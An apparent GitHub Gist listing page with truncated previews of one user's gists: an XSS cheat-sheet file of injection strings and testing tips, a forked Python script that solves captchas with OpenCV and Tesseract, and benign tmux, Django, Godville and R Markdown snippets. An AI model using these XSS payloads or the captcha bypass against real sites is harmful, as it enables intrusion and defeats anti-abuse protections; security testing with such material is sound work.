lcd1232 / xss_attacks.xml

Created March 17, 2021 07:55

XSS Locator ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. Basic XSS Attacks Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] XSS Quick Test '';!--"<XSS>=&{()} If you don't have m

lcd1232 / 404.html

Created October 16, 2020 19:02

Minimal django app for bug

lcd1232 / tmux_cheatsheet.markdown

Created November 11, 2016 00:05 — forked from henrik/tmux_cheatsheet.markdown

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

lcd1232 / test.py

Created September 17, 2016 20:29 — forked from christianroman/test.py

Bypass Captcha using 10 lines of code with Python, OpenCV & Tesseract OCR engine

	import cv2.cv as cv
	import tesseract
	gray = cv.LoadImage('captcha.jpeg', cv.CV_LOAD_IMAGE_GRAYSCALE)
	cv.Threshold(gray, gray, 231, 255, cv.CV_THRESH_BINARY)
	api = tesseract.TessBaseAPI()
	api.Init(".","eng",tesseract.OEM_DEFAULT)
	api.SetVariable("tessedit_char_whitelist", "0123456789abcdefghijklmnopqrstuvwxyz")
	api.SetPageSegMode(tesseract.PSM_SINGLE_WORD)
	tesseract.SetCvImage(gray,api)
	print api.GetUTF8Text()

lcd1232 / godville.py

Created August 28, 2016 21:48 — forked from shizeeg/godville.py

Godville.net player stats viewer.

	#!/usr/bin/env python
	# -- coding: utf-8 --
	"""
	Godville player stats viewer. For more info, see <http://godville.net/>
	Copyright (C) 2012 sh!zeeg <[email protected]>

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

lcd1232 / example.Rmd

Created March 6, 2016 22:28

	## Introduction to ggplot2

	This is a short demo on how to convert an R Markdown Notebook into an IPython Notebook using knitr and notedown.

	Adding a Python Chunk

	```{r engine="python"}
	def f(x):
	return x + 2
	f(2)